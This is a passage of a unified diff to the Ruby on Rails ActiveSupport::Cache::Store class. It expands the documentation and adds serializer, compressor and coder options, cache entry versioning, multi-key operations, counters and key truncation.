     # implementations, each having its own additional features. See the classes
     # under the ActiveSupport::Cache module, e.g.
@@ -113,16 +154,19 @@ def retrieve_store_class(store)
     # popular cache store for large production websites.
     #
     # Some implementations may not support all methods beyond the basic cache
-    # methods of +fetch+, +write+, +read+, +exist?+, and +delete+.
+    # methods of #fetch, #write, #read, #exist?, and #delete.
     #
-    # ActiveSupport::Cache::Store can store any serializable Ruby object.
+    # +ActiveSupport::Cache::Store+ can store any Ruby object that is supported
+    # by its +coder+'s +dump+ and +load+ methods.
     #
     #   cache = ActiveSupport::Cache::MemoryStore.new
     #
     #   cache.read('city')   # => nil
-    #   cache.write('city', "Duckburgh")
+    #   cache.write('city', "Duckburgh") # => true
     #   cache.read('city')   # => "Duckburgh"
     #
+    #   cache.write('not serializable', Proc.new {}) # => TypeError
+    #
     # Keys are always translated into Strings and are case sensitive. When an
     # object is specified as a key and has a +cache_key+ method defined, this
     # method will be called to define the key.  Otherwise, the +to_param+
@@ -143,23 +187,137 @@ def retrieve_store_class(store)
     #   cache.namespace = -> { @last_mod_time }  # Set the namespace to a variable
     #   @last_mod_time = Time.now  # Invalidate the entire cache by changing namespace
     #
-    # Caches can also store values in a compressed format to save space and
-    # reduce time spent sending data. Since there is overhead, values must be
-    # large enough to warrant compression. To turn on compression either pass
-    # <tt>compress: true</tt> in the initializer or as an option to +fetch+
-    # or +write+. To specify the threshold at which to compress values, set the
-    # <tt>:compress_threshold</tt> option. The default threshold is 16K.
     class Store
+      # Default +ConnectionPool+ options
+      DEFAULT_POOL_OPTIONS = { size: 5, timeout: 5 }.freeze
+
+      # Keys are truncated with the Active Support digest if they exceed the limit.
+      MAX_KEY_SIZE = 250
+
       cattr_accessor :logger, instance_writer: true
+      cattr_accessor :raise_on_invalid_cache_expiration_time, default: false
 
       attr_reader :silence, :options
       alias :silence? :silence
 
-      # Creates a new cache. The options will be passed to any write method calls
-      # except for <tt>:namespace</tt> which can be used to set the global
-      # namespace for the cache.
+      class << self
+        private
+          def retrieve_pool_options(options)
+            if options.key?(:pool)
+              pool_options = options.delete(:pool)
+            else
+              pool_options = true
+            end
+
+            case pool_options
+            when false, nil
+              return false
+            when true
+              pool_options = DEFAULT_POOL_OPTIONS
+            when Hash
+              pool_options[:size] = Integer(pool_options[:size]) if pool_options.key?(:size)
+              pool_options[:timeout] = Float(pool_options[:timeout]) if pool_options.key?(:timeout)
+              pool_options = DEFAULT_POOL_OPTIONS.merge(pool_options)
+            else
+              raise TypeError, "Invalid :pool argument, expected Hash, got: #{pool_options.inspect}"
+            end
+
+            pool_options unless pool_options.empty?
+          end
+      end
+
+      # Creates a new cache.
+      #
+      # ==== Options
+      #
+      # [+:namespace+]
+      #   Sets the namespace for the cache. This option is especially useful if
+      #   your application shares a cache with other applications.
+      #
+      # [+:serializer+]
+      #   The serializer for cached values. Must respond to +dump+ and +load+.
+      #
+      #   The default serializer depends on the cache format version (set via
+      #   +config.active_support.cache_format_version+ when using Rails). The
+      #   default serializer for each format version includes a fallback
+      #   mechanism to deserialize values from any format version. This behavior
+      #   makes it easy to migrate between format versions without invalidating
+      #   the entire cache.
+      #
+      #   You can also specify <tt>serializer: :message_pack</tt> to use a
+      #   preconfigured serializer based on ActiveSupport::MessagePack. The
+      #   +:message_pack+ serializer includes the same deserialization fallback
+      #   mechanism, allowing easy migration from (or to) the default
+      #   serializer. The +:message_pack+ serializer may improve performance,
+      #   but it requires the +msgpack+ gem.
+      #
+      # [+:compressor+]
+      #   The compressor for serialized cache values. Must respond to +deflate+
+      #   and +inflate+.
+      #
+      #   The default compressor is +Zlib+. To define a new custom compressor
+      #   that also decompresses old cache entries, you can check compressed
+      #   values for Zlib's <tt>"\x78"</tt> signature:
+      #
+      #     module MyCompressor
+      #       def self.deflate(dumped)
+      #         # compression logic... (make sure result does not start with "\x78"!)
+      #       end
+      #
+      #       def self.inflate(compressed)
+      #         if compressed.start_with?("\x78")
+      #           Zlib.inflate(compressed)
+      #         else
+      #           # decompression logic...
+      #         end
+      #       end
+      #     end
+      #
+      #     ActiveSupport::Cache.lookup_store(:redis_cache_store, compressor: MyCompressor)
+      #
+      # [+:coder+]
+      #   The coder for serializing and (optionally) compressing cache entries.
+      #   Must respond to +dump+ and +load+.
+      #
+      #   The default coder composes the serializer and compressor, and includes
+      #   some performance optimizations. If you only need to override the
+      #   serializer or compressor, you should specify the +:serializer+ or
+      #   +:compressor+ options instead.
+      #
+      #   If the store can handle cache entries directly, you may also specify
+      #   <tt>coder: nil</tt> to omit the serializer, compressor, and coder. For
+      #   example, if you are using ActiveSupport::Cache::MemoryStore and can
+      #   guarantee that cache values will not be mutated, you can specify
+      #   <tt>coder: nil</tt> to avoid the overhead of safeguarding against
+      #   mutation.
+      #
+      #   The +:coder+ option is mutually exclusive with the +:serializer+ and
+      #   +:compressor+ options. Specifying them together will raise an
+      #   +ArgumentError+.
+      #
+      # Any other specified options are treated as default options for the
+      # relevant cache operations, such as #read, #write, and #fetch.
       def initialize(options = nil)
-        @options = options ? options.dup : {}
+        @options = options ? validate_options(normalize_options(options)) : {}
+
+        @options[:compress] = true unless @options.key?(:compress)
+        @options[:compress_threshold] ||= DEFAULT_COMPRESS_LIMIT
+
+        @max_key_size = @options.delete(:max_key_size)
+        @max_key_size = MAX_KEY_SIZE if @max_key_size.nil? # allow 'false' as a value
+
+        @coder = @options.delete(:coder) do
+          legacy_serializer = Cache.format_version < 7.1 && !@options[:serializer]
+          serializer = @options.delete(:serializer) || default_serializer
+          serializer = Cache::SerializerWithFallback[serializer] if serializer.is_a?(Symbol)
+          compressor = @options.delete(:compressor) { Zlib }
+
+          Cache::Coder.new(serializer, compressor, legacy_serializer: legacy_serializer)
+        end
+
+        @coder ||= Cache::SerializerWithFallback[:passthrough]
+
+        @coder_supports_compression = @coder.respond_to?(:dump_compressed)
       end
 
       # Silences the logger.
@@ -170,7 +328,7 @@ def silence!
 
       # Silences the logger within a block.
       def mute
-        previous_silence, @silence = defined?(@silence) && @silence, true
+        previous_silence, @silence = @silence, true
         yield
       ensure
         @silence = previous_silence
@@ -194,107 +352,133 @@ def mute
       #   end
       #   cache.fetch('city')   # => "Duckburgh"
       #
-      # You may also specify additional options via the +options+ argument.
-      # Setting <tt>force: true</tt> forces a cache "miss," meaning we treat
-      # the cache value as missing even if it's present. Passing a block is
-      # required when +force+ is true so this always results in a cache write.
+      # ==== Options
       #
-      #   cache.write('today', 'Monday')
-      #   cache.fetch('today', force: true) { 'Tuesday' } # => 'Tuesday'
-      #   cache.fetch('today', force: true) # => ArgumentError
-      #
-      # The +:force+ option is useful when you're calling some other method to
-      # ask whether you should force a cache write. Otherwise, it's clearer to
-      # just call <tt>Cache#write</tt>.
-      #
-      # Setting <tt>:compress</tt> will store a large cache entry set by the call
-      # in a compressed format.
-      #
-      # Setting <tt>:expires_in</tt> will set an expiration time on the cache.
-      # All caches support auto-expiring content after a specified number of
-      # seconds. This value can be specified as an option to the constructor
-      # (in which case all entries will be affected), or it can be supplied to
-      # the +fetch+ or +write+ method to effect just one entry.
-      #
-      #   cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
-      #   cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
-      #
-      # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
-      # a cache entry is used very frequently and is under heavy load. If a
-      # cache expires and due to heavy load several different processes will try
-      # to read data natively and then they all will try to write to cache. To
-      # avoid that case the first process to find an expired cache entry will
-      # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
-      # Yes, this process is extending the time for a stale value by another few
-      # seconds. Because of extended life of the previous cache, other processes
-      # will continue to use slightly stale data for a just a bit longer. In the
-      # meantime that first process will go ahead and will write into cache the
-      # new value. After that all the processes will start getting the new value.
-      # The key is to keep <tt>:race_condition_ttl</tt> small.
-      #
-      # If the process regenerating the entry errors out, the entry will be
-      # regenerated after the specified number of seconds. Also note that the
-      # life of stale cache is extended only if it expired recently. Otherwise
-      # a new value is generated and <tt>:race_condition_ttl</tt> does not play
-      # any role.
-      #
-      #   # Set all values to expire after one minute.
-      #   cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1.minute)
-      #
-      #   cache.write('foo', 'original value')
-      #   val_1 = nil
-      #   val_2 = nil
-      #   sleep 60
-      #
-      #   Thread.new do
-      #     val_1 = cache.fetch('foo', race_condition_ttl: 10.seconds) do
-      #       sleep 1
-      #       'new value 1'
+      # Internally, +fetch+ calls +read_entry+, and calls +write_entry+ on a
+      # cache miss. Thus, +fetch+ supports the same options as #read and #write.
+      # Additionally, +fetch+ supports the following options:
+      #
+      # * <tt>force: true</tt> - Forces a cache "miss," meaning we treat the
+      #   cache value as missing even if it's present. Passing a block is
+      #   required when +force+ is true so this always results in a cache write.
+      #
+      #     cache.write('today', 'Monday')
+      #     cache.fetch('today', force: true) { 'Tuesday' } # => 'Tuesday'
+      #     cache.fetch('today', force: true) # => ArgumentError
+      #
+      #   The +:force+ option is useful when you're calling some other method to
+      #   ask whether you should force a cache write. Otherwise, it's clearer to
+      #   just call +write+.
+      #
+      # * <tt>skip_nil: true</tt> - Prevents caching a nil result:
+      #
+      #     cache.fetch('foo') { nil }
+      #     cache.fetch('bar', skip_nil: true) { nil }
+      #     cache.exist?('foo') # => true
+      #     cache.exist?('bar') # => false
+      #
+      # * +:race_condition_ttl+ - Specifies the number of seconds during which
+      #   an expired value can be reused while a new value is being generated.
+      #   This can be used to prevent race conditions when cache entries expire,
+      #   by preventing multiple processes from simultaneously regenerating the
+      #   same entry (also known as the dog pile effect).
+      #
+      #   When a process encounters a cache entry that has expired less than
+      #   +:race_condition_ttl+ seconds ago, it will bump the expiration time by
+      #   +:race_condition_ttl+ seconds before generating a new value. During
+      #   this extended time window, while the process generates a new value,
+      #   other processes will continue to use the old value. After the first
+      #   process writes the new value, other processes will then use it.
+      #
+      #   If the first process errors out while generating a new value, another
+      #   process can try to generate a new value after the extended time window
+      #   has elapsed.
+      #
+      #     # Set all values to expire after one second.
+      #     cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1)
+      #
+      #     cache.write("foo", "original value")
+      #     val_1 = nil
+      #     val_2 = nil
+      #     p cache.read("foo") # => "original value"
+      #
+      #     sleep 1 # wait until the cache expires
+      #
+      #     t1 = Thread.new do
+      #       # fetch does the following:
+      #       # 1. gets an recent expired entry
+      #       # 2. extends the expiry by 2 seconds (race_condition_ttl)
+      #       # 3. regenerates the new value
+      #       val_1 = cache.fetch("foo", race_condition_ttl: 2) do
+      #         sleep 1
+      #         "new value 1"
+      #       end
       #     end
-      #   end
       #
-      #   Thread.new do
-      #     val_2 = cache.fetch('foo', race_condition_ttl: 10.seconds) do
-      #       'new value 2'
+      #     # Wait until t1 extends the expiry of the entry
+      #     # but before generating the new value
+      #     sleep 0.1
+      #
+      #     val_2 = cache.fetch("foo", race_condition_ttl: 2) do
+      #       # This block won't be executed because t1 extended the expiry
+      #       "new value 2"
       #     end
-      #   end
       #
-      #   cache.fetch('foo') # => "original value"
-      #   sleep 10 # First thread extended the life of cache by another 10 seconds
-      #   cache.fetch('foo') # => "new value 1"
-      #   val_1 # => "new value 1"
-      #   val_2 # => "original value"
+      #     t1.join
       #
-      # Other options will be handled by the specific cache store implementation.
-      # Internally, #fetch calls #read_entry, and calls #write_entry on a cache
-      # miss. +options+ will be passed to the #read and #write calls.
+      #     p val_1 # => "new value 1"
+      #     p val_2 # => "original value"
+      #     p cache.fetch("foo") # => "new value 1"
       #
-      # For example, MemCacheStore's #write method supports the +:raw+
-      # option, which tells the memcached server to store all values as strings.
-      # We can use this option with #fetch too:
+      #     # The entry requires 3 seconds to expire (expires_in + race_condition_ttl)
+      #     # We have waited 2 seconds already (sleep(1) + t1.join) thus we need to wait 1
+      #     # more second to see the entry expire.
+      #     sleep 1
       #
-      #   cache = ActiveSupport::Cache::MemCacheStore.new
-      #   cache.fetch("foo", force: true, raw: true) do
-      #     :bar
-      #   end
-      #   cache.fetch('foo') # => "bar"
-      def fetch(name, options = nil)
+      #     p cache.fetch("foo") # => nil
+      #
+      # ==== Dynamic Options
+      #
+      # In some cases it may be necessary to dynamically compute options based
+      # on the cached value. To support this, an ActiveSupport::Cache::WriteOptions
+      # instance is passed as the second argument to the block. For example:
+      #
+      #     cache.fetch("authentication-token:#{user.id}") do |key, options|
+      #       token = authenticate_to_service
+      #       options.expires_at = token.expires_at
+      #       token
+      #     end
+      #
+      def fetch(name, options = nil, &block)
         if block_given?
           options = merged_options(options)
           key = normalize_key(name, options)
 
           entry = nil
-          instrument(:read, name, options) do |payload|
-            cached_entry = read_entry(key, options) unless options[:force]
-            entry = handle_expired_entry(cached_entry, key, options)
-            payload[:super_operation] = :fetch if payload
-            payload[:hit] = !!entry if payload
+          unless options[:force]
+            instrument(:read, key, options) do |payload|
+              cached_entry = read_entry(key, **options, event: payload)
+              entry = handle_expired_entry(cached_entry, key, options)
+              if entry
+                if entry.mismatched?(normalize_version(name, options))
+                  entry = nil
+                else
+                  begin
+                    entry.value
+                  rescue DeserializationError
+                    entry = nil
+                  end
+                end
+              end
+              payload[:super_operation] = :fetch if payload
+              payload[:hit] = !!entry if payload
+            end
           end
 
           if entry
             get_entry_value(entry, name, options)
           else
-            save_block_result_to_cache(name, options) { |_name| yield _name }
+            save_block_result_to_cache(name, key, options, &block)
           end
         elsif options && options[:force]
           raise ArgumentError, "Missing block: Calling `Cache#fetch` with `force: true` requires a block."
@@ -303,24 +487,46 @@ def fetch(name, options = nil)
         end
       end
 
-      # Fetches data from the cache, using the given key. If there is data in
+      # Reads data from the cache, using the given key. If there is data in
       # the cache with the given key, then that data is returned. Otherwise,
       # +nil+ is returned.
       #
-      # Options are passed to the underlying cache implementation.
+      # Note, if data was written with the <tt>:expires_in</tt> or
+      # <tt>:version</tt> options, both of these conditions are applied before
+      # the data is returned.
+      #
+      # ==== Options
+      #
+      # * +:namespace+ - Replace the store namespace for this call.
+      # * +:version+ - Specifies a version for the cache entry. If the cached
+      #   version does not match the requested version, the read will be treated
+      #   as a cache miss. This feature is used to support recyclable cache keys.
+      #
+      # Other options will be handled by the specific cache store implementation.
       def read(name, options = nil)
         options = merged_options(options)
-        key = normalize_key(name, options)
-        instrument(:read, name, options) do |payload|
-          entry = read_entry(key, options)
+        key     = normalize_key(name, options)
+        version = normalize_version(name, options)
+
+        instrument(:read, key, options) do |payload|
+          entry = read_entry(key, **options, event: payload)
+
           if entry
             if entry.expired?
-              delete_entry(key, options)
+              delete_entry(key, **options)
+              payload[:hit] = false if payload
+              nil
+            elsif entry.mismatched?(version)
               payload[:hit] = false if payload
               nil
             else
               payload[:hit] = true if payload
-              entry.value
+              begin
+                entry.value
+              rescue DeserializationError
+                payload[:hit] = false
+                nil
+              end
             end
           else
             payload[:hit] = false if payload
@@ -336,22 +542,33 @@ def read(name, options = nil)
       #
       # Returns a hash mapping the names provided to the values found.
       def read_multi(*names)
+        return {} if names.empty?
+
         options = names.extract_options!
         options = merged_options(options)
+        keys    = names.map { |name| normalize_key(name, options) }
 
-        results = {}
-        names.each do |name|
-          key = normalize_key(name, options)
-          entry = read_entry(key, options)
-          if entry
-            if entry.expired?
-              delete_entry(key, options)
-            else
-              results[name] = entry.value
-            end
+        instrument_multi :read_multi, keys, options do |payload|
+          read_multi_entries(names, **options, event: payload).tap do |results|
+            payload[:hits] = results.keys.map { |name| normalize_key(name, options) }
+          end
+        end
+      end
+
+      # Cache Storage API to write multiple values at once.
+      def write_multi(hash, options = nil)
+        return hash if hash.empty?
+
+        options = merged_options(options)
+        normalized_hash = hash.transform_keys { |key| normalize_key(key, options) }
+
+        instrument_multi :write_multi, normalized_hash, options do |payload|
+          entries = hash.each_with_object({}) do |(name, value), memo|
+            memo[normalize_key(name, options)] = Entry.new(value, **options, version: normalize_version(name, options))
           end
+
+          write_multi_entries entries, **options
         end
-        results
       end
 
       # Fetches data from the cache, using the given keys. If there is data in
@@ -362,8 +579,6 @@ def read_multi(*names)
       # to the cache. If you do not want to write the cache when the cache is
       # not found, use #read_multi.
       #
-      # Options are passed to the underlying cache implementation.
-      #
       # Returns a hash with the data for each of the names. For example:
       #
       #   cache.write("bim", "bam")
@@ -373,42 +588,122 @@ def read_multi(*names)
       #   # => { "bim" => "bam",
       #   #      "unknown_key" => "Fallback value for key: unknown_key" }
       #
+      # You may also specify additional options via the +options+ argument. See #fetch for details.
+      # Other options are passed to the underlying cache implementation. For example:
+      #
+      #   cache.fetch_multi("fizz", expires_in: 5.seconds) do |key|
+      #     "buzz"
+      #   end
+      #   # => {"fizz"=>"buzz"}
+      #   cache.read("fizz")
+      #   # => "buzz"
+      #   sleep(6)
+      #   cache.read("fizz")
+      #   # => nil
       def fetch_multi(*names)
         raise ArgumentError, "Missing block: `Cache#fetch_multi` requires a block." unless block_given?
+        return {} if names.empty?
 
         options = names.extract_options!
         options = merged_options(options)
-        results = read_multi(*names, options)
+        keys    = names.map { |name| normalize_key(name, options) }
+        writes  = {}
+        ordered = instrument_multi :read_multi, keys, options do |payload|
+          if options[:force]
+            reads = {}
+          else
+            reads = read_multi_entries(names, **options)
+          end
 
-        names.each_with_object({}) do |name, memo|
-          memo[name] = results.fetch(name) do
-            value = yield name
-            write(name, value, options)
-            value
+          ordered = names.index_with do |name|
+            reads.fetch(name) { writes[name] = yield(name) }
           end
+          writes.compact! if options[:skip_nil]
+
+          payload[:hits] = reads.keys.map { |name| normalize_key(name, options) }
+          payload[:super_operation] = :fetch_multi
+
+          ordered
         end
+
+        write_multi(writes, options)
+
+        ordered
       end
 
-      # Writes the value to the cache, with the key.
+      # Writes the value to the cache with the key. The value must be supported
+      # by the +coder+'s +dump+ and +load+ methods.
       #
-      # Options are passed to the underlying cache implementation.
+      # Returns +true+ if the write succeeded, +nil+ if there was an error talking
+      # to the cache backend, or +false+ if the write failed for another reason.
+      #
+      # By default, cache entries larger than 1kB are compressed. Compression
+      # allows more data to be stored in the same memory footprint, leading to
+      # fewer cache evictions and higher hit rates.
+      #
+      # ==== Options
+      #
+      # * <tt>compress: false</tt> - Disables compression of the cache entry.
+      #
+      # * +:compress_threshold+ - The compression threshold, specified in bytes.
+      #   \Cache entries larger than this threshold will be compressed. Defaults
+      #   to +1.kilobyte+.
+      #
+      # * +:expires_in+ - Sets a relative expiration time for the cache entry,
+      #   specified in seconds. +:expire_in+ and +:expired_in+ are aliases for
+      #   +:expires_in+.
+      #
+      #     cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
+      #     cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
+      #
+      # * +:expires_at+ - Sets an absolute expiration time for the cache entry.
+      #
+      #     cache = ActiveSupport::Cache::MemoryStore.new
+      #     cache.write(key, value, expires_at: Time.now.at_end_of_hour)
+      #
+      # * +:version+ - Specifies a version for the cache entry. When reading
+      #   from the cache, if the cached version does not match the requested
+      #   version, the read will be treated as a cache miss. This feature is
+      #   used to support recyclable cache keys.
+      #
+      # * +:unless_exist+ - Prevents overwriting an existing cache entry.
+      #
+      # Other options will be handled by the specific cache store implementation.
       def write(name, value, options = nil)
         options = merged_options(options)
+        key = normalize_key(name, options)
 
-        instrument(:write, name, options) do
-          entry = Entry.new(value, options)
-          write_entry(normalize_key(name, options), entry, options)
+        instrument(:write, key, options) do
+          entry = Entry.new(value, **options, version: normalize_version(name, options))
+          write_entry(key, entry, **options)
         end
       end
 
-      # Deletes an entry in the cache. Returns +true+ if an entry is deleted.
+      # Deletes an entry in the cache. Returns +true+ if an entry is deleted
+      # and +false+ otherwise.
       #
       # Options are passed to the underlying cache implementation.
       def delete(name, options = nil)
         options = merged_options(options)
+        key = normalize_key(name, options)
 
-        instrument(:delete, name) do
-          delete_entry(normalize_key(name, options), options)
+        instrument(:delete, key, options) do
+          delete_entry(key, **options)
+        end
+      end
+
+      # Deletes multiple entries in the cache. Returns the number of deleted
+      # entries.
+      #
+      # Options are passed to the underlying cache implementation.
+      def delete_multi(names, options = nil)
+        return 0 if names.empty?
+
+        options = merged_options(options)
+        names.map! { |key| normalize_key(key, options) }
+
+        instrument_multi(:delete_multi, names, options) do
+          delete_multi_entries(names, **options)
         end
       end
 
@@ -417,18 +712,23 @@ def delete(name, options = nil)
       # Options are passed to the underlying cache implementation.
       def exist?(name, options = nil)
         options = merged_options(options)
+        key = normalize_key(name, options)
 
-        instrument(:exist?, name) do
-          entry = read_entry(normalize_key(name, options), options)
-          (entry && !entry.expired?) || false
+        instrument(:exist?, key) do |payload|
+          entry = read_entry(key, **options, event: payload)
+          (entry && !entry.expired? && !entry.mismatched?(normalize_version(name, options))) || false
         end
       end
 
+      def new_entry(value, options = nil) # :nodoc:
+        Entry.new(value, **merged_options(options))
+      end
+
       # Deletes all entries with keys matching the pattern.
       #
       # Options are passed to the underlying cache implementation.
       #
-      # All implementations may not support this method.
+      # Some implementations may not support this method.
       def delete_matched(matcher, options = nil)
         raise NotImplementedError.new("#{self.class.name} does not support delete_matched")
       end
@@ -437,7 +737,7 @@ def delete_matched(matcher, options = nil)
       #
       # Options are passed to the underlying cache implementation.
       #
-      # All implementations may not support this method.
+      # Some implementations may not support this method.
       def increment(name, amount = 1, options = nil)
         raise NotImplementedError.new("#{self.class.name} does not support increment")
       end
@@ -446,16 +746,42 @@ def increment(name, amount = 1, options = nil)
       #
       # Options are passed to the underlying cache implementation.
       #
-      # All implementations may not support this method.
+      # Some implementations may not support this method.
       def decrement(name, amount = 1, options = nil)
         raise NotImplementedError.new("#{self.class.name} does not support decrement")
       end
 
-      # Cleanups the cache by removing expired entries.
+      # Reads a counter that was set by #increment / #decrement.
+      #
+      #   cache.write_counter("foo", 1)
+      #   cache.read_counter("foo") # => 1
+      #   cache.increment("foo")
+      #   cache.read_counter("foo") # => 2
+      #
+      # Options are passed to the underlying cache implementation.
+      def read_counter(name, **options)
+        options = merged_options(options).merge(raw: true)
+        read(name, **options)&.to_i
+      end
+
+      # Writes a counter that can then be modified by #increment / #decrement.
+      #
+      #   cache.write_counter("foo", 1)
+      #   cache.read_counter("foo") # => 1
+      #   cache.increment("foo")
+      #   cache.read_counter("foo") # => 2
+      #
+      # Options are passed to the underlying cache implementation.
+      def write_counter(name, value, **options)
+        options = merged_options(options).merge(raw: true)
+        write(name, value.to_i, **options)
+      end
+
+      # Cleans up the cache by removing expired entries.
       #
       # Options are passed to the underlying cache implementation.
       #
-      # All implementations may not support this method.
+      # Some implementations may not support this method.
       def cleanup(options = nil)
         raise NotImplementedError.new("#{self.class.name} does not support cleanup")
       end
@@ -465,12 +791,34 @@ def cleanup(options = nil)
       #
       # The options hash is passed to the underlying cache implementation.
       #
-      # All implementations may not support this method.
-      def clear
+      # Some implementations may not support this method.
+      def clear(options = nil)
         raise NotImplementedError.new("#{self.class.name} does not support clear")
       end
 
+      # Get the current namespace
+      def namespace
+        @options[:namespace]
+      end
+
+      # Set the current namespace. Note, this will be ignored if custom
+      # options are passed to cache wills with a namespace key.
+      def namespace=(namespace)
+        @options[:namespace] = namespace
+      end
+
       private
+        def default_serializer
+          case Cache.format_version
+          when 7.0
+            Cache::SerializerWithFallback[:marshal_7_0]
+          when 7.1
+            Cache::SerializerWithFallback[:marshal_7_1]
+          else
+            raise ArgumentError, "Unrecognized ActiveSupport::Cache.format_version: #{Cache.format_version.inspect}"
+          end
+        end
+
         # Adds the namespace defined in the options to a pattern designed to
         # match keys. Implementations that support delete_matched should call
         # this method to translate a pattern that matches names into one that
@@ -492,28 +840,194 @@ def key_matcher(pattern, options) # :doc:
 
         # Reads an entry from the cache implementation. Subclasses must implement
         # this method.
-        def read_entry(key, options)
+        def read_entry(key, **options)
           raise NotImplementedError.new
         end
 
         # Writes an entry to the cache implementation. Subclasses must implement
         # this method.
-        def write_entry(key, entry, options)
+        def write_entry(key, entry, **options)
           raise NotImplementedError.new
         end
 
+        def serialize_entry(entry, **options)
+          options = merged_options(options)
+          if @coder_supports_compression && options[:compress]
+            @coder.dump_compressed(entry, options[:compress_threshold])
+          else
+            @coder.dump(entry)
+          end
+        end
+
+        def deserialize_entry(payload, **)
+          payload.nil? ? nil : @coder.load(payload)
+        rescue DeserializationError
+          nil
+        end
+
+        # Reads multiple entries from the cache implementation. Subclasses MAY
+        # implement this method.
+        def read_multi_entries(names, **options)
+          names.each_with_object({}) do |name, results|
+            key   = normalize_key(name, options)
+            entry = read_entry(key, **options)
+
+            next unless entry
+
+            version = normalize_version(name, options)
+
+            if entry.expired?
+              delete_entry(key, **options)
+            elsif !entry.mismatched?(version)
+              results[name] = entry.value
+            end
+          end
+        end
+
+        # Writes multiple entries to the cache implementation. Subclasses MAY
+        # implement this method.
+        def write_multi_entries(hash, **options)
+          hash.each do |key, entry|
+            write_entry key, entry, **options
+          end
+        end
+
         # Deletes an entry from the cache implementation. Subclasses must
         # implement this method.
-        def delete_entry(key, options)
+        def delete_entry(key, **options)
           raise NotImplementedError.new
         end
 
+        # Deletes multiples entries in the cache implementation. Subclasses MAY
+        # implement this method.
+        def delete_multi_entries(entries, **options)
+          entries.count { |key| delete_entry(key, **options) }
+        end
+
         # Merges the default options with ones specific to a method call.
         def merged_options(call_options)
           if call_options
-            options.merge(call_options)
+            call_options = normalize_options(call_options)
+            if call_options.key?(:expires_in) && call_options.key?(:expires_at)
+              raise ArgumentError, "Either :expires_in or :expires_at can be supplied, but not both"
+            end
+
+            expires_at = call_options.delete(:expires_at)
+            call_options[:expires_in] = (expires_at - Time.now) if expires_at
+
+            if call_options[:expires_in].is_a?(Time)
+              expires_in = call_options[:expires_in]
+              raise ArgumentError.new("expires_in parameter should not be a Time. Did you mean to use expires_at? Got: #{expires_in}")
+            end
+            if call_options[:expires_in]&.negative?
+              expires_in = call_options.delete(:expires_in)
+              handle_invalid_expires_in("Cache expiration time is invalid, cannot be negative: #{expires_in}")
+            end
+
+            if options.empty?
+              call_options
+            else
+              options.merge(call_options)
+            end
+          else
+            options
+          end
+        end
+
+        def handle_invalid_expires_in(message)
+          error = ArgumentError.new(message)
+          if ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time
+            raise error
+          else
+            ActiveSupport.error_reporter&.report(error, handled: true, severity: :warning)
+            logger.error("#{error.class}: #{error.message}") if logger
+          end
+        end
+
+        # Normalize aliased options to their canonical form
+        def normalize_options(options)
+          options = options.dup
+          OPTION_ALIASES.each do |canonical_name, aliases|
+            alias_key = aliases.detect { |key| options.key?(key) }
+            options[canonical_name] ||= options[alias_key] if alias_key
+            options.except!(*aliases)
+          end
+
+          options
+        end
+
+        def validate_options(options)
+          if options.key?(:coder) && options[:serializer]
+            raise ArgumentError, "Cannot specify :serializer and :coder options together"
+          end
+
+          if options.key?(:coder) && options[:compressor]
+            raise ArgumentError, "Cannot specify :compressor and :coder options together"
+          end
+
+          if Cache.format_version < 7.1 && !options[:serializer] && options[:compressor]
+            raise ArgumentError, "Cannot specify :compressor option when using" \
+              " default serializer and cache format version is < 7.1"
+          end
+
+          options
+        end
+
+        # Expands, namespaces and truncates the cache key.
+        # Raises an exception when the key is +nil+ or an empty string.
+        # May be overridden by cache stores to do additional normalization.
+        def normalize_key(key, options = nil)
+          key = expand_and_namespace_key(key, options)
+          truncate_key(key)
+        end
+
+        def expand_and_namespace_key(key, options = nil)
+          str_key = expanded_key(key)
+          raise(ArgumentError, "key cannot be blank") if !str_key || str_key.empty?
+
+          namespace_key str_key, options
+        end
+
+        def truncate_key(key)
+          if key && @max_key_size && key.bytesize > @max_key_size
+            suffix = ":hash:#{ActiveSupport::Digest.hexdigest(key)}"
+            truncate_at = @max_key_size - suffix.bytesize
+            key = key.byteslice(0, truncate_at)
+            key.scrub!("")
+            "#{key}#{suffix}"
+          else
+            key
+          end
+        end
+
+        # Prefix the key with a namespace string:
+        #
+        #   namespace_key 'foo', namespace: 'cache'
+        #   # => 'cache:foo'
+        #
+        # With a namespace block:
+        #
+        #   namespace_key 'foo', namespace: -> { 'cache' }
+        #   # => 'cache:foo'
+        def namespace_key(key, call_options = nil)
+          namespace = if call_options&.key?(:namespace)
+            call_options[:namespace]
+          else
+            options[:namespace]
+          end
+
+          if namespace.respond_to?(:call)
+            namespace = namespace.call
+          end
+
+          if key && key.encoding != Encoding::UTF_8
+            key = key.dup.force_encoding(Encoding::UTF_8)
+          end
+
+          if namespace
+            "#{namespace}:#{key}"
           else
-            options.dup
+            key
           end
         end
 
@@ -526,38 +1040,56 @@ def expanded_key(key)
           case key
           when Array
             if key.size > 1
-              key = key.collect { |element| expanded_key(element) }
+              key.collect { |element| expanded_key(element) }
             else
-              key = key.first
+              expanded_key(key.first)
             end
           when Hash
-            key = key.sort_by { |k, _| k.to_s }.collect { |k, v| "#{k}=#{v}" }
-          end
+            key.collect { |k, v| "#{k}=#{v}" }.sort!
+          else
+            key
+          end.to_param
+        end
 
-          key.to_param
+        def normalize_version(key, options = nil)
+          (options && options[:version].try(:to_param)) || expanded_version(key)
         end
 
-        # Prefixes a key with the namespace. Namespace and key will be delimited
-        # with a colon.
-        def normalize_key(key, options)
-          key = expanded_key(key)
-          namespace = options[:namespace] if options
-          prefix = namespace.is_a?(Proc) ? namespace.call : namespace
-          key = "#{prefix}:#{key}" if prefix
-          key
+        def expanded_version(key)
+          case
+          when key.respond_to?(:cache_version) then key.cache_version.to_param
+          when key.is_a?(Array)                then key.map { |element| expanded_version(element) }.tap(&:compact!).to_param
+          when key.respond_to?(:to_a)          then expanded_version(key.to_a)
+          end
         end
 
-        def instrument(operation, key, options = nil)
-          log { "Cache #{operation}: #{normalize_key(key, options)}#{options.blank? ? "" : " (#{options.inspect})"}" }
+        def instrument(operation, key, options = nil, &block)
+          _instrument(operation, key: key, options: options, &block)
+        end
 
-          payload = { key: key }
-          payload.merge!(options) if options.is_a?(Hash)
